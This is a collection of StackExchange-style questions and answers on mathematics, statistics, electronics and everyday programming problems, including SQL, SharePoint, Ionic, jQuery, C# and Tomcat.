text:
Q: Inequality for definite integral. In a proof in my class we used the following inequality: $$\left| \int_0^{\varepsilon}te^{ut}\,du\right|\le |\varepsilon| |t|(e^{\varepsilon_0t}+e^{-\varepsilon_0t})\quad \forall |\varepsilon| <\varepsilon_0.$$However, I'm not quite sure how we got that inequality so I need some help.

A: $$\left| \int_0^{\varepsilon}te^{ut}\,du\right| \le |t|  \int_0^{\varepsilon}|e^{ut}|\,du  = |t| \int_0^{\varepsilon}e^{ut}\,du $$
Consider $$f(\varepsilon) := \int_0^\varepsilon e^{tu} \ du.$$ This is a convex function and for the fundamental theorem of calculus  $f'(\varepsilon) = e^{\varepsilon t}$.
Fix $\varepsilon_0 > 0$, then for all $0\le \varepsilon \le \varepsilon_0$ you have $f(0) \ge f(\varepsilon) + f'(\varepsilon)(0-\varepsilon)$ so
$$\int_0^\varepsilon e^{tu}\ du \le \varepsilon \ e^{\varepsilon t} \le \varepsilon \ e^{\varepsilon_0 t}$$
Concluding
$$\left| \int_0^{\varepsilon}te^{ut}\,du\right| \le |t| \varepsilon \ e^{\varepsilon_0t} \le |t| |\varepsilon| \left( \ e^{\varepsilon_0t} + e^{-\varepsilon_0t}\right)$$
Since in the last passage I just added a strictly positive term.

A: Since the exponential function is strictly increasing then for any $|\epsilon|<\epsilon_0$ we have that
$$e^{ut}\leq e^{|ut|}\leq e^{|\epsilon| |t|}\leq e^{\epsilon_0 |t|} = \max\{e^{\epsilon_0t},e^{-\epsilon_0t}\}\leq e^{\epsilon_0 t}+e^{-\epsilon_0t} $$
Hence
\begin{align*}\Big|\int_0^\epsilon te^{tu} du\Big| &\leq sign(\epsilon)\int_0^\epsilon |t|e^{ut}du\leq sign(\epsilon)\int_0^\epsilon |t|(e^{\epsilon_0 t}+e^{-\epsilon_0t})du\\
&= [|t|(e^{\epsilon_0 t}+e^{-\epsilon_0t})] sign(\epsilon)\int_0^\epsilon du\\
&= |t|(e^{\epsilon_0 t}+e^{-\epsilon_0t}) sign(\epsilon)\epsilon = |t||\epsilon|(e^{\epsilon_0 t}+e^{-\epsilon_0t})
\end{align*}


text:
Q: Restore-SPSite fails without any useful error I'm trying to restore from a backup via PowerShell with the following commands:
add-pssnapin Microsoft.SharePoint.PowerShell
restore-spsite -Force -Confirm:$false -Identity https://uslv-acsw-t4.dev.local:5000/ -Path C:\2012-07-31-Backup\Home.bak

It's failing with the following (frankly useless) error:
Restore-SPSite : Cannot complete this action.
Please try again.
At line:1 char:15
+ restore-spsite <<<<  -Force -Confirm:$false -Identity https://uslv-acsw-t4.dev.local:5000/ -Path C:\2012-07-31-Backup\Home.bak
    + CategoryInfo          : InvalidData: Microsoft.Share...dletRestoreSite:SPCmdletRestoreSite) [Restore-SPSite], SPException
    + FullyQualifiedErrorId : Microsoft.SharePoint.PowerShell.SPCmdletRestoreSite

What is causing this error and how can I fix it?

A: It may be a case where you've got an old instance of that target site collection that still has pieces of it left over in the content database that SharePoint is trying to restore the backup into. One thing you may try is creating a new content database and restoring the site collection into that content database.
John

A: In addition to John's answer please verify if by any chance you have SQL Server Express installed, sharepoint restore is likely to fail because of certain limitations.

A: u can restore from command prompt also.
first go to bin folder -> cd C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\14\BIN
then restore ur backup ->
Stsadm.exe -o restore -url yoursiteurl -filename c:\\backupfilename.bak -overwrite

A: Try to check ULS logs by ULS Viewer for SPException. By default logs are stored here:
SharePoint 2010: %commonprogramfiles%/Microsoft Shared/web server extensions/12/Logs
SharePoint 2013: %commonprogramfiles%/Microsoft Shared/web server extensions/14/Logs
SharePoint 2016: %commonprogramfiles%/Microsoft Shared/web server extensions/16/Logs

redpajama_set_name: RedPajamaStackExchange


text:
Q: Running Ionic 2 App I am new to Ionic 2. I cloned one project from github for learning purpose and I am trying to run it locally. Following are the steps that I have used to run the app.
1)npm install
2)ionic serve

The original repo was 9MB. After running "npm intall", it creates node_module directory which is more than 200mb. Is there any way to not to have node_module and run app without it?
By running this command it also creates www folder which was not in original repo. Is www required for ionic 2 app?
My second question is how to generate apk file in ionic2? Will my apk file will also have node_module and will it be really large file?

A: npm install will download all the node packages used in the project, so the repo you cloned probably uses some heavy plugins which make the folder weigh 200MB. You cannot run your app without the folder, because the code uses it and you'll get errors like 'module not found'.
The www folder is the output folder where ionic stores all the generated files (converted scss to css, typescript to javascript etc) which it uses to run. So yes, this is required.
Generating an apk can be done with the ionic build android command. You need a valid SDK and I think also android studio to do this, though.

A: Install Ionic
npm install -g cordova ionic
Download 'ANDROID STUDIO', ALSO ADD platform_tool, sdk,ANT, java jdk
after completing all the above
ionic build android [ Creating debug APK File.]


text:
Q: Shallow Routing NEXT.js with Browser Back/Forth buttons I have managed to change the path on click of the Next button in my multi step form.
    <div className="mt-3 sm:mt-0 sm:ml-3">
       <a
         onClick={() => {
         formStepToLast();
         {router.push(`/?step=${+2}`, undefined, {
            shallow: true
          });
        };
       }
    }
    className="w-full flex items-center justify-center px-8 py-3 border border-transparent text-base font-medium rounded-md text-white bg-yellow-500 hover:bg-yallow-600 md:py-4 md:text-lg md:px-10"
                  >
       Next
     </a>
 </div>

So onClick the user proceeds to the next step of the form and the path changes to /step=2 or whatever step it is. I just reproduced one step here. BUT, the browser buttons won't navigate correctly. If I use those, I just stay on current step. So, basically step=1 won't get 'assigned' to the FormStep1 of the form, same is with FormStep2. Did I forget smth?


text:
Q: Oracle SQL data migration row to column based in month CODE1   CODE2   CODE3   RATE    VALUE   MONTH
A       B       C       1       1       202001
A       B       C       1       1       202002
A       B       C       1       1       202003
A       B       C       2       1       202004
A       B       C       2       1       202005
A       B       C       1       1       202006
A       B       C       1       1       202007
A       B       C       1       1       202008
A       B       C       1       1       202009

I am working on migrating data from old system to new system.
As part of old system data maintained per month and will update the same row if data updated and table contains one row for a month
I am migrating to news system and it contains start date and end date to make the active record . So on update new data needs to inserted and updated the old row end date
My expected data
CODE1   CODE2   CODE3   RATE    VALUE   START_DT    END_DT
A       B       C       1       1       20200101    20200331
A       B       C       2       1       20200401    20200531
A       B       C       1       1       20200601    99991230

If the data active and we will update the date as infinity so 999912
But I am getting only two records and my query is below
CODE1   CODE2   CODE3   RATE    VALUE   START_DT    END_DT
A       B       C       2       1       20200401    20200531
A       B       C       1       1       20200601    99991230

SELECT CODE1, CODE2, CODE3 RATE, VALUE,
 TO_DATE(MIN(bus_month), 'yyyymm') AS START_DT,
 last_day(TO_DATE(replace(MAX(bus_month), $CURRENTMONTG, '999912'), 'yyyymm')) AS end_date
FROM TEST_TABLE
GROUP BY CODE1, CODE2, CODE3, RATE, VALUE

SINCE I am grouping based on CODE1, CODE2, CODE3, RATE, VALUE and getting latest data based on grouping and I am not able to get the old data
Please help me to get the expected table structure.
Thanks in advance
Please comment if any more details needed

A: This is a gaps-and-islands problem, where you want to group together "adjacent" rows that have the same rate and value.
One approach uses the difference between the row numbers to build the groups. Assuming that the three codes define the base group, and that you want to break into a new row whenever the rate or the value changes:
select code1, code2, code3, rate, value, min(month) start_dt,
    case when row_number() over(partition by code1, code2, code3 order by max(month) desc) = 1 then 999912 else max(month) end end_dt
from (
    select t.*,
        row_number() over(partition by code1, code2, code3 order by month) rn1,
        row_number() over(partition by code1, code2, code3, rate, value order by month) rn2
    from mytable t
) t
group by code1, code2, code3, rate, value, rn1 - rn2
order by start_dt

The conditional expression in the outer query sets the end date of the "last" period to 999912.
Demo on DB Fiddle:

CODE1 | CODE2 | CODE3 | RATE | VALUE | START_DT | END_DT
:---- | :---- | :---- | ---: | ----: | -------: | -----:
A     | B     | C     |    1 |     1 |   202001 | 202003
A     | B     | C     |    2 |     1 |   202004 | 202005
A     | B     | C     |    1 |     1 |   202006 | 999912

A: You can use MATCH_RECOGNIZE to perform a row-by-row comparison of the data:
SELECT code1,
       code2,
       code3,
       rate,
       value,
       start_dt,
       CASE end_dt
       WHEN TO_NUMBER( TO_CHAR( SYSDATE, 'YYYYMM' ) )
       THEN 999912
       ELSE end_dt
       END AS end_dt
FROM   table_name
MATCH_RECOGNIZE (
   PARTITION BY code1, code2, code3
   ORDER BY     month
   MEASURES     FIRST( rate ) AS rate,
                FIRST( value ) AS value,
                FIRST( month ) AS start_dt,
                LAST( month ) AS end_dt
   ONE ROW PER MATCH
   PATTERN      (FIRST_ROW EQUAL_ROWS*)
   DEFINE       EQUAL_ROWS AS (
                      EQUAL_ROWS.rate  = PREV(EQUAL_ROWS.rate)
                  AND EQUAL_ROWS.value = PREV(EQUAL_ROWS.value)
                  AND TO_DATE( EQUAL_ROWS.month, 'YYYYMM' )
                        = ADD_MONTHS( TO_DATE( PREV(EQUAL_ROWS.month), 'YYYYMM' ), 1 )
                )
)

So, for your sample data:
CREATE TABLE table_name ( CODE1, CODE2, CODE3, RATE, VALUE, MONTH ) AS
SELECT 'A', 'B', 'C', 1, 1, 201912 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 1, 1, 202001 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 1, 1, 202002 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 1, 1, 202003 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 2, 1, 202004 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 2, 1, 202005 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 1, 1, 202006 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 1, 1, 202007 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 1, 1, 202008 FROM DUAL UNION ALL
SELECT 'A', 'B', 'C', 1, 1, 202009 FROM DUAL;

This outputs:

CODE1 | CODE2 | CODE3 | RATE | VALUE | START_DT | END_DT
:---- | :---- | :---- | ---: | ----: | -------: | -----:
A     | B     | C     |    1 |     1 |   201912 | 202003
A     | B     | C     |    2 |     1 |   202004 | 202005
A     | B     | C     |    1 |     1 |   202006 | 999912

db<>fiddle here

A: Oracle SQL:
SELECT
     code1,code2,code3,rate,value,min(MONTH) start_dt,
     CASE
          WHEN ROW_NUMBER() OVER(PARTITION BY code1, code2, code3 ORDER BYmax(MONTH) DESC) = 1 THEN 99991230
          ELSE max(MONTH)
     END end_dt
FROM
     (
     SELECT
          t.*,
          ROW_NUMBER() OVER(PARTITION BY code1, code2, code3 ORDER BY MONTH) rn1,
          ROW_NUMBER() OVER(PARTITION BY code1, code2, code3, rate, value ORDERBY MONTH) rn2
     FROM
          TBLTEST t
) t
GROUP BY
     code1,code2,code3,rate,value,rn1 - rn2
ORDER BY
     start_dt

It is rather simple to perform the task in the natural way of thinking. We compare neighboring values between rows on the first five columns, and put the current one and the previous row in the same group when values are same, or create a new group if they are different until the last record is compared. As SQL set is unordered, we need to first invent two columns of indexes manually in an extremely complicated way and then perform grouping according to the relationship between the two columns of indexes. You need to be really smart to come up with the solution.
Yet it is easy to write the code using the open-source esProc SPL:

A

1
=connect("oracle")

2
=A1.query@x("SELECT * FROM TBLTEST ORDER BY MONTH")

3
=A2.groups@o(CODE1,CODE2,CODE3,RATE,VALUE;min(MONTH)/"01":STARTDT,string(date((max(MONTH)+1)/"01","yyyyMMdd")-1,"yyyyMMdd"):ENDDT)

4
>A3.m(-1).modify("99991230":ENDDT)

SPL supports ordered sets directly, making it easy to perform grouping when a neighboring value is different.


text:
Q: Java - Webcam shot/video with Mac and Windows x86 & x64 I want to access the built-in or USB webcam on Mac and Windows(32-, and 64bit) with java. How do i achive that? Any useful APIs or other things like that?
I don't want to install something. It should be in an API and some .dll's e.g. - so that my runnable .jar file is portable.
I googled everything. I tried JavaCV, JMF, JMyron but nothing worked for me - that sucks -.-"
I hope somebody can help me.

A: You could use a JNI call and talk to the webcam driver/API provided by vendors.
OR
If you are lucky to have a TWAIN compatible webcam, you can use JTwain APIs
Links:
http://www.twainforum.org/
http://www.programmersheaven.com/2/Java-Twain-image-acquisition


text:
Q: DefaultEdge returning null for source and target for jgrapht I am iterating over a set of edges returned from a jgrapht directed simple graph.
 Set<DefaultEdge> edges = graph.edgeSet();

    for (DefaultEdge edge : edges) {

       System.out.println(edge.getSource());
       System.out.println(edge.getTarget());

}

the edgeSet method returns the correct amount of edges, but the source and target are always null.

A: When I instantiated my graph and passed it an edge class:
DirectedGraph graph = new SimpleDirectedGraph(DefaultEdge.class);

Netbeans gave me the option for what DefaultEdge.class file to import, I chose the wrong one. I used the org.jgraph library instead of the org.jgrapht.
If you are using the DefaultEdge class make sure you are using the one from jgrapht.
import org.jgrapht.graph.DefaultEdge;

otherwise there will be no compiler error, and everything will seem to work properly until there is an attempt to retrieve the edge data.


text:
Q: The graph of symmetric-decreasing rearrangment of some function eg. $e^{x}$ $A^*$ to be the ball centered at 0 with the same measure that

$A$.
  The symmetric-decreasing rearrangement of a measurable function $f:\mathbb{R}^n \to \mathbb{R}$ is then defined by
   $$f^*(x):=\int_0^{\infty} \chi_{\{|f(x)|>t\}^*}(x)dt,$$

by comparison to the "layercake" representation of $f$, namely
 $$f(x)=\int_0^{\infty} \chi_{\{f(x)>t\}}(x)dt.$$
So is there a way I can get a formula out of $f^{*}$ for some examples (eg. $e^{x}$), so I can graph them. I know they will all look like parabolas but I would like to know of any precise ways to see them (maybe computational-Mathematica).
thanks

A: The symmetric decreasing rearrangement is not defined for $e^x$ on $\mathbb R$. The definition requires $|\{|f|>t\}|<\infty$ for all $t>0$. Also, it's better to just assume $f\ge 0$ since we disregard the sign anyway.
For a randomly picked function like $f(x)=x^2 e^{-x^2}$, the rearrangement is unlikely to have a closed form, because it is tied to solving the transcendental equation $f(x)=t$ for $x$. For doable and illustrative examples, it's best to pick algebraic functions on a finite interval (define them to be $0$ outside of the interval).
Example 1. $f(x)= x$ on $[0,10]$, zero elsewhere. Then $f^*(x)= 10-2|x|$ on $[- 5,5]$, zero elsewhere.
Example 2. $f(x)= x^2$ on $[0,10]$, zero elsewhere. Then $f^*(x)= (10-2|x|)^2$ on $[- 5,5]$, zero elsewhere. Which illustrates a point: $(\phi\circ f)^*=\phi\circ f^*$ when $\phi$ is increasing on the range of $f$.
Example 3, non-monotone. $f(x)=|x|$ on $[-1,3]$, zero elsewhere. Then $f^*(x)=3-2|x|$ on $[-1,1]$, $f^*(x)=2-|x|$ when $1\le |x|\le 2$, and zero elsewhere.
Example 4, also non-monotone. $f(x)= x^4+3x^2$ on $[-1,3]$, zero elsewhere. Looks hard? No, just apply the observation after example 2 to Example 3.


text:
Q: Is a Fisher exact test for count data appropriate with an ordered factor? I have the following contingency table:
tab = structure(c(35L, 28L, 5L, 11L, 16L, 3L, 8L, 16L, 2L, 5L, 10L,
    10L), .Dim = 3:4, .Dimnames = structure(list(question = c("Faculty",
    "Graduate student", "Research staff"), value = c("Never", "Rarely",
    "Occasionally", "Frequently")), .Names = c("question", "value"
    )), class = "table")

Which looks like this:
              value
question           Never Rarely Occasionally Frequently
  Faculty             35     11            8          5
  Graduate student    28     16           16         10
  Research staff       5      3            2         10

I plan to use a Fisher exact test because a Chi-square test results in expected values < 5:
chisq.test(tab)$expected

              value
question               Never    Rarely Occasionally Frequently
  Faculty          26.926174 11.879195    10.295302   9.899329
  Graduate student 31.946309 14.093960    12.214765  11.744966
  Research staff    9.127517  4.026846     3.489933   3.355705

I'm concerned however, because my columns are an ordered factor. Never through Frequently is a spectrum rather than a normal categorical variable.
Is the Fisher exact test or chi-square test appropriate for such a contingency table? Does it matter that my factor is ordered? Is there another test that uses this ordered characteristic better?

A: The chi-square test is appropriate to use with ordinal data but, as you have found, some of your expected frequencies are <5.   If your groups are independent and n <30  you can use the Wilcoxon rank-sum test.  If the groups are not independent, not normally distributed and n < 30, you can use the Wilcoxon signed ranks test.
One tests that the means are equal and the other tests that the medians are equal. Both are appropriate for ordinal data.     This is from Basic and Clinical Biostatistics, 4th edition, by Dawson and Trapp, 1994.


text:
Q: Layout issue - how to start an activity without moving certain UI elements? I'm trying to implement tab buttons bar and a navigation bar in my android application. The problem is, that I would like the navigation elements to persist. When starting a child activity, the nav bar moves.
How can I make these two elements "non-movable"?

A: Add button bar and navigation bar to all your activities and share it's state via static fields. Remember to initialize bars when child activity starts and update parent's bars when child activity finishes (either via onResume or as a result of startActivityForResult).
It is not possible to share instances of UI elements between activities, as Activities are (by design) independent of each other.
Application cannot control how new activity is introduced - it can slide, zoom in or just show up if user disable animation in device preferences, UPDATE: it looks like since API Level 5 there are ways to override this, please refer to Activity transition in Android . But if you really need to keep bars in place, use single Activity and replace main view content with animation you like.


text:
Q: Paginate from record I use the gem will-paginate.
Lets suppose i have a model records that is sort by created_at and the client has the records until a specific record with the id 77. Now would it be possible to define for example:
 Records.paginate(:page => params[:record_id], :per_page => 30)

So that the pagination doesnt`t start at a specific page but at a record
Thanks!

A: The unique alternative I can imagine is to add a where condition and sorting the results by id
 Records.where("id >= ?", params[:record_id]).order(id: :asc).paginate(:page => params[:page], :per_page => 30)

This way you ensure that the record_id received is the first element in the pagination and all the results are after that one


text:
Q: How to avoid scentific notation in Saiku Attribute I define saiku(3.8) schema as below:
<?xml version="1.0" encoding="utf-8"?>
<Schema name="Zeus Offline Data" metamodelVersion='4.0'>
<PhysicalSchema>
<Table name="ZEUS_OFFLINE_DATA">
    <Key>
        <Column name='FB_ACCOUNT_ID'/>
    </Key>
</Table>
</PhysicalSchema>
<Cube name="OfflineData">
<Dimensions>
    <Dimension name="AdAccount" table="ZEUS_OFFLINE_DATA">
        <Attributes>
            <Attribute name="account_id" keyColumn="FB_ACCOUNT_ID" hasHierarchy="true"/>
        </Attributes>
    </Dimension>
    <Dimension name="BM" table="ZEUS_OFFLINE_DATA">
        <Attributes>
            <Attribute name="bm_id" keyColumn="BM_ID" hasHierarchy="true"/>
        </Attributes>
    </Dimension>
</Dimensions>
<MeasureGroups>
    <MeasureGroup name="Stats" table="ZEUS_OFFLINE_DATA">
        <Measures>
            <Measure name="clicks" column="CLICKS" aggregator="sum" formatString="#,###"/>
        </Measures>
        <DimensionLinks>
            <FactLink dimension="AdAccount"/>
            <FactLink dimension="BM"/>
        </DimensionLinks>
    </MeasureGroup>
</MeasureGroups>

It contains two dimension "bm_id" and "fb_account_id", and one measure "clicks".In database backend, bm_id and fb_account_id are int type. When I make query in Saiku, the result of bm_id and fb_account_id are shown in scientific notation mode, which I don't want.
Result:
bm_id    clicks
1.71141391154125E14  1,091,234

Which I want:
171141391154125    1,091,234

I don't know which attribute should be changed for that, any help appreaciated
Thanks


text:
Q: How to get random color based on hex color from dark to light by JS? I'm having a problem dynamically generating colors from dark to light which I'm going to use to create color differences on the pie chart.
The color refers to one of the hex colors, for example #00695C to #00897B.
How to get those colors by using javascript?
Example Image for Color Generate

A: put all your favourite colours in an array, and then, map them.

A: Instead of hex you can try hsl color in your project. Where you can reduce and increase intensity of l value between 0 and 100 to get different shades of light and dark. It's more straightforward
Refer this page for more details
https://www.w3schools.com/colors/colors_hsl.asp


text:
Q: knowing an element's id, how to find an other element located in the same table? Earlier I asked the following question on how to add a HTML table row using JQuery, knowing the id on an element inside a table cell.
So, after adding the new row, the table look like this now:

     Hiring Manager
     <textarea id = "textComments" cols = "15"/>

           Label
           characters (500 max)

I want to know, knowing the id of the first element (i.e. textComment), how can I select the second element located in the row below, (i.e. lblCharCounter)?
Thank for helping

A: I would probably go with:
$('#textComment').closest('table').find('.CharCounter')

or (to get that specific sub-span)
$('#textComment').closest('table').find('.CharCounter').children()

or something similar -- It's easiest if you assign a unique class, in addition to the ID, to that element you want to locate.
http://api.jquery.com/closest
http://api.jquery.com/find

A: var $area1 = $("#textComments");

Then use:
$area1.parent().parent().next().find('#lblCharCounter")


text:
Q: extract html table information based on radio button checked Using the example below, what combination of selectors could I use to get the text that contains "price"? (Assume user has clicked a radio button and the Submit button)

 <input type="radio" name='sub' value="509"/>
 509
 Price is $99

 <input type="radio" value="510"/>
 510
 Price is $88

<input type='button' id='idButton2' value="Submit">

*

*get content of td cell that follows the checked radio button, or

*get content of td cell identified by id=price that follows the checked radio button

A: $('tr input[name=sub]:checked').parent().find('#price').html()

A: Great answer!  I had to change parent() to parents() to get it working. Here is the code:

        Select	Product
        Description	Price

        <input type='radio' name='sub' value='ABCDE'>
        ABCDE
        Product ABCDE
        55.95

        <input type='radio' name='sub' value='GHIFK' >
        GHIFK
        Product GHIFK
        34.99

<input type='button' id='myButton' value="Click Me">


text:
Q: Corrupt npm error when building my first Cordova App This is my first look into using Cordova with Visual Studio, I followed the Apache Cordova installation process and started to go through the first app example.  When I run the Ripple - Nexus function I get the following output/errro:
1>------ Build started: Project: WeatherApp, Configuration: Debug Android ------
1>  ------ Ensuring correct global installation of package from source package directory: C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7\IDE\Extensions\ApacheCordovaTools\packages\vs-tac
1>  ------ Name from source package.json: vs-tac
1>  ------ Version from source package.json: 1.0.42
1>  ------ Current package installation is corrupted. Will cleanup and do a fresh installation.
1>------ npm install error : error : spawn cmd ENOENT
1>  ------ Installing Cordova tools cordova@6.1.1 for project from npm. This could take a few minutes...
1>  Each package is licensed to you by its owner. Microsoft is not responsible for, nor does it grant any licenses to, third-party packages. Some packages may include dependencies which are governed by additional licenses. Follow the package source (feed) URL to determine any dependencies.
1>MDAVSCLI : [Error ------ npm install error : cordova@6.1.1]
1>MSBUILD : cordova-build error : Build error: ------ npm install error: cordova@6.1.1
1>Build error : ------ npm install error : cordova@6.1.1
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
========== Deploy: 0 succeeded, 0 failed, 0 skipped ==========

I have uninstalled the Cordova tools and reinstalled them, I uninstalled Android Studio (did not reinstall but reinstalled the Android SDK) and I've tried to reinstall the vs-tac via the command line.  Please help as I would very much like to work with these tools.
Thanks,
Alex
*Edit: I've added System32 to the path and reinstalled NodeJs and npm but now I get the following error:
------ Package not currently installed globally.
1>  ------ Installing globally from source package. This could take a few
minutes...
1>  Each package is licensed to you by its owner. Microsoft is not
responsible for, nor does it grant any licenses to, third-party packages.
Some packages may include dependencies which are governed by additional
licenses. Follow the package source (feed) URL to determine any
dependencies.
1>  ENOENT, no such file or directory ''
1>MSBUILD : cordova-build error : module.js:338
I've run npm install -g  in the command line, I have node version V5.12.0 and npm version 5.2.0.
Thanks - Alex


text:
Q: How display images in datagridview? c# I am developing an application in C # for desktop using Visual Studio Express 2010.
I have a table in MySQL called Products with 3 fields:

ID -> Product_Name -> product_image

The field product_Image stores the image path in my hard drive (not the image itself)
An example of a record would be:

0001 --- Mousepad XYZ ---- c:\images\mousepad.jpg

I wonder how fill a datagridview that shows the ID, Produt name, and - especially - the product image for each record in my SQL query.
All the examples I found were used manual data inserts, but I am looking for an example to fill the datagridview with data from a SQL query, not a manual insertion.
Edit:
Thank you for help, but could not directly apply the solutions.
I already have a datagridview on my form, I have no need to create in runtime.
I need something like that (I'll write a generic way)
returnMySQL = "select * from products";

while (returnMySQL)
{
    fill datagrid with ID, product name, product image
}

A: You can add images with the following way:
//you need to perform some parsing to retrieve individual values of ID, Name and ImagePath
string path = @"c:\images\mousepad.jpg";
string ID = "0001";
string Product_Name = "Mousepad XYZ";
dataGridView1.Rows.Add(ID, Product_Name, Bitmap.FromFile(path));

A: Use following Code:
Bitmap img;

img = new Bitmap(@"c:\images\mousepad.jpg");

// Create the DGV with an Image column

DataGridView dgv = new DataGridView();

this.Controls.Add(dgv);

DataGridViewImageColumn imageCol = new DataGridViewImageColumn();

dgv.Columns.Add(imageCol);

// Add a row and set its value to the image

dgv.Rows.Add();

dgv.Rows[0].Cells[0].Value = img;

Referance LINK .

A: You can Doing this simple way
            SqlConnection conn=New   SqlConnection("SERVER=127.0.0.1;DATABASE=bdss;UID=sa;PASSWORD=1234");
            SqlDataAdapter adpt = new SqlDataAdapter("select * from products",conn);
            DataTable dt = new System.Data.DataTable();
            adpt.Fill(dt);
            int count = dt.Rows.Count;

            dataGridView1.DataSource = dt;

thats All you can change Datagrid view height and with according your requirment


text:
Q: Non linear behaviour of a pure LC: Is it real or LT Spice is broken? Questions:
1) Is the observed behaviour correct? (both cases at the resonant frequency and at a lower frequency) If it's not correct, why LT Spice is giving this result?
2) Why does circuit lab give a different result?
I've been playing with LT Spice and LC filters and made a couple of simulation in the frequency and time domain. So I've come across a strange phenomenon that I don't understand, and I'm also doubting that it is real, maybe it's a "defect" of the conditions set for the simulation.
Here is the simple circuit:

simulate this circuit – Schematic created using CircuitLab
The transfer function is like this:
$$
H(S)=\frac{1}{(1+LCS^2)}
$$
With the values set for L and C, the resonant frequency is roughly \$ f_0 =50.33 kHz\$.
Let the input signal frequency be \$f_s\$, so I expect that

*

*When \$f_s << f_0\$, Vout is almost identical to V1: no amplitude or phase difference between them. At this frequency the module of the transfer function is close to 0 dB.

*When \$f_s = f_0\$, Vout is amplified, the filter is resonating. We're at the peak of the bode diagram. In the time domain, I expect the have an oscillation with an increasing amplitude until it reaches a maximum amplitude. It then continues oscillating at that amplitude and at the resonant frequency.

In particular, the circuit is linear, so the output frequency shall be the same as the input frequency.
It doesn't really seem the case though:

Above is the simulation result with \$f_s = 1kHz\$ (blue = Vout, red = V1, green = I(V1) ), and it is clear that 1 kHz is not the only harmonic of this signal. The FFT of LTSpice gives this result:

There is a small, peak at the resonant frequency.
Where does this mathematically come from? The reverse laplace transform of the transfer function doesn't give any frequency different from the input signal frequency. So where does this come from? What calculations is LT Spice doing that gives this result?
Furthermore, there is another strange phenomenon with this circuit simulated with LT Spice.
When \$ f_s = 50.33 kHz\$, a transient simulation gives a waveform that never gets to a "steady state", in contrast to what I expected.

The image above is a 20ms time frame with \$f_s = f_0\$.
For completeness sake, here is the schematic used for the simulation:

Final note: simulating the same circuit with circuit lab gives the result that I expected for both case (\$fs = f0 \$ and \$fs << f0\$ ). For some reason they're giving different results...

A:
Where does this mathematically come from?

Starting a sinewave from any point in its waveform is creating a transient. Prior to the sinewave being present there was 0 volts then suddenly you start-up a sinewave. This creates a transient response in the LC filter and, because it is highly resonant (limited only by any parasitic elements LTSpice defaults to), you get a resonant response that theoretically should take infinite time to decay. The high-frequency superimposed on the sinewave is the resonant frequency. Just look at the spectral result - it's at 50 kHz.
If you applied a step input in the s-domain you would get the same sort of transient behaviour.


text:
Q: Deploy WAR on Tomcat 7 exception I am just starting to learn Spring Boot and followed the example for a RESTful service, the typical Greeting (Hello World). The example runs fine as a JAR or as a WAR within Eclipse and Tomcat 7 when I build as a Java application. I then use maven build with package as a goal and whenever I copy the WAR on my local Tomcat 7 webapps directory I can see on the console exceptions such as this one:
SEVERE: ContainerBase.addChild: start:
org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/demo-0.0.1]]
    at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:154)
    at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:901)
    at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:877)
    at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:649)
    at org.apache.catalina.startup.HostConfig.deployWAR(HostConfig.java:1081)
    at org.apache.catalina.startup.HostConfig$DeployWar.run(HostConfig.java:1877)
    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471)
    at java.util.concurrent.FutureTask.run(FutureTask.java:262)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
    at java.lang.Thread.run(Thread.java:744)
Caused by: java.lang.NoSuchMethodError: javax.servlet.ServletContext.getVirtualServerName()Ljava/lang/String;
    at org.apache.tomcat.websocket.server.WsServerContainer.<init>(WsServerContainer.java:147)
    at org.apache.tomcat.websocket.server.WsSci.init(WsSci.java:131)
    at org.apache.tomcat.websocket.server.WsSci.onStartup(WsSci.java:47)
    at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5513)
    at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
    ... 10 more

Mar 18, 2015 10:38:24 PM org.apache.catalina.startup.HostConfig deployWAR
SEVERE: Error deploying web application archive /Users/tester/Servers/apache-tomcat-7.0.59/webapps/demo-0.0.1.war
java.lang.IllegalStateException: ContainerBase.addChild: start: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/demo-0.0.1]]
    at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:904)
    at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:877)
    at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:649)
    at org.apache.catalina.startup.HostConfig.deployWAR(HostConfig.java:1081)
    at org.apache.catalina.startup.HostConfig$DeployWar.run(HostConfig.java:1877)
    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471)
    at java.util.concurrent.FutureTask.run(FutureTask.java:262)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
    at java.lang.Thread.run(Thread.java:744)

Any ideas as to what is happening?
I followed this link to build and deploy my code: http://spring.io/blog/2014/03/07/deploying-spring-boot-applications


text:
Q: Prove convergence of $n \cdot \left(\sqrt{1+ \frac{1}{n}} -1\right)$ I am working on some old analysis exams and i got stuck on this exercise :

Using the epsilon definition show that $a_{n} = n \cdot \left(\sqrt{1+ \frac{1}{n}} -1\right)$ converges and determine its limit.

Knowing that the limit is 1/2, I know need to find an $ N \in \mathbb{N}$ so that : $ \forall \epsilon > 0 n > N \implies \left| a_n - \frac{1}{2} \right| < \epsilon $
